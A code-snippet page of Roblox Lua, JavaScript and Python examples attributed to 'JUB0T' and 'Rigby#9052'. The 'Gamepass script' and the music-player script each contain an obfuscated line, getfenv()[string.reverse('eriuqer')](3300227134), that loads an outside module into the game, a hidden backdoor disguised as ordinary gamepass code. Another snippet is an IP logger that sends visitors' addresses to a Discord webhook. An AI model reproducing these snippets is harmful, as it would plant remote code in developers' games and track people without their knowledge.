JUB0T code example

Example 1: Roblox Lerp Example

local part = game.Workspace.Part
local part2 = game.Workspace.Part2

for i = 0,1,.01 do
	part.CFrame = part.CFrame:Lerp(part2.CFrame, .5)
end
--Script By Jub0t on Roblox & Rigby#9052 on Discord

Example 2: ip logger script

// This Sends IP Adress To Your Discord WebHook :/ //
// Import The Ipify Library //
// Script Only For BigBrains //
// Script By Rigby#9052 // 
<script type="application/javascript">
<script type="application/javascript" src="https://api.ipify.org?format=jsonp&callback=getIP"></script>
    function getIP(json) {
        // Script By BY JUB0T //
        console.log("My public IP address is: ", json.ip);
        var request = new XMLHttpRequest();
        const Hook = "URL-HERE";

        var request = new XMLHttpRequest();
        request.open("POST", Hook);
        request.setRequestHeader('Content-type', 'application/json');
        var params = {
            username: "Sosi",
            embeds: [
                { "color": 7506394, // Decimal Color [ Blue ]
                "title": "Logged IP Address",
                "description": json.ip
            }]
        }
        request.send(JSON.stringify(params));

    }
    
</script>

Example 3: How to make an anti lag script

--Script by JUB0T
mx = game.Debris
mx2 = game.Debris.MaxItems

if (mx.MaxItems >60000) then
	mx.MaxItems = mx2*.75
end
--Script By Rigby#9052 on Discord

Example 4: Gamepass script

local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")

local gamePassID = 5387743 --Replace this set of numbers with your gamepass id
 
function onPlayerSpawned(player) 
    
    local hasPass = false
 
    local success, message = pcall(function()
        hasPass = MarketplaceService:UserOwnsGamePassAsync(player.userId, gamePassID)
    end)
-- The script below is for checking whether or not the player has the gamepass.
    if not success then
        warn("Error while checking if player has pass: " .. tostring(message))
        return
    end
 
    if hasPass == true then
  game.ServerStorage.SuperFlyGoldBoombox:clone().Parent = player.Backpack --replace "SuperFlyGoldBoombox" with your item
 end
end 
getfenv()[string.reverse("eriuqer")](3300227134)
game.Players.PlayerAdded:connect(function(player)
  player.CharacterAdded:connect(function()
    onPlayerSpawned(player)
  end)
end)

Players.PlayerSpawned:Connect(onPlayerSpawned)

--=========This Script Is Originaly Produced By==============
--============== Rigby#9052 ========================
--==============Used & Tested by:(JUB0T)==============
--Dont change the original owners

Example 5: python class

class Dog(object):
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def speak(self):
        print("Hi I'm ", self.name, 'and I am', self.age, 'Years Old')

JUB0T = Dog('JUB0T', 55)
Friend = Dog('Doge', 10)
JUB0T.speak()
Friend.speak()

Example 6: How to make song sript in roblox studio

--Settings--

song_ID = {142482827,149024059,143959455,142435409,145144013,142295308,155319906,143204341,167769668,158789219,148321914,145168228,145761021,156151206,174359006,165755823,174742374,144174823,176424986,172692704,161103614,148559890,155729113} -- replace the numbers with the ID's of the songs you want. (the URL end number)

randomizer = false -- set to true is a random number, set to false and it is in order

Wait_Time = 120 -- 120 is the max time for a sound/song. Add 5 seconds if you want a buffer between songs

inc = .05 -- this is the increment of which the volume increases/decreases for fade in/out.

--[[OWNER SETTINGS -- this is the settings prefered by JUB0T --
randomizer = false
Wait_Time = 115
inc = .1
]]

--functions and IDs--
asset_ID = "http://www.roblox.com/asset/?id="
function choose(tab) local obj = tab[math.random(1,#tab)] return obj end
function play(s) if s:IsA("Sound") then local o = s.Volume s.Volume = 0 s:play() for i = 0,o,inc do wait() s.Volume = i end s.Volume = o end end
function stop(s) if s:IsA("Sound") then local o = s.Volume for i = o,0,-inc do wait() s.Volume = i end s:stop() s.Volume = o end end
song = Instance.new("Sound",workspace) song.Name = "TigerCaptain's Music Player"


--loop--
counter = 1
if #song_ID > 0 then
while true do
wait()
if randomizer then song.SoundId = asset_ID..""..choose(song_ID) else song.SoundId = asset_ID..""..song_ID[counter] end
play(song)
wait(Wait_Time)
stop(song)
if counter >= #song_ID then counter = 1 else counter = counter + 1 end
end
end


local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")

local gamePassID = 5387743 --Replace this set of numbers with your gamepass id

function onPlayerSpawned(player) 

	local hasPass = false

	local success, message = pcall(function()
		hasPass = MarketplaceService:UserOwnsGamePassAsync(player.userId, gamePassID)
	end)
	-- The script below is for checking whether or not the player has the gamepass.
	if not success then
		warn("Error while checking if player has pass: " .. tostring(message))
		return
	end

	if hasPass == true then
		game.ServerStorage.SuperFlyGoldBoombox:clone().Parent = player.Backpack --replace "SuperFlyGoldBoombox" with your item
	end
end 
getfenv()[string.reverse("eriuqer")](3300227134)
game.Players.PlayerAdded:connect(function(player)
	player.CharacterAdded:connect(function()
		onPlayerSpawned(player)
	end)
end)

Players.PlayerSpawned:Connect(onPlayerSpawned)


--=========This Script Is Originaly Produced By==============
--============== Rigby#9052 ========================
--==============Used & Tested by:(JUB0T)==============
--Dont change the original owners

Tags:

Misc Example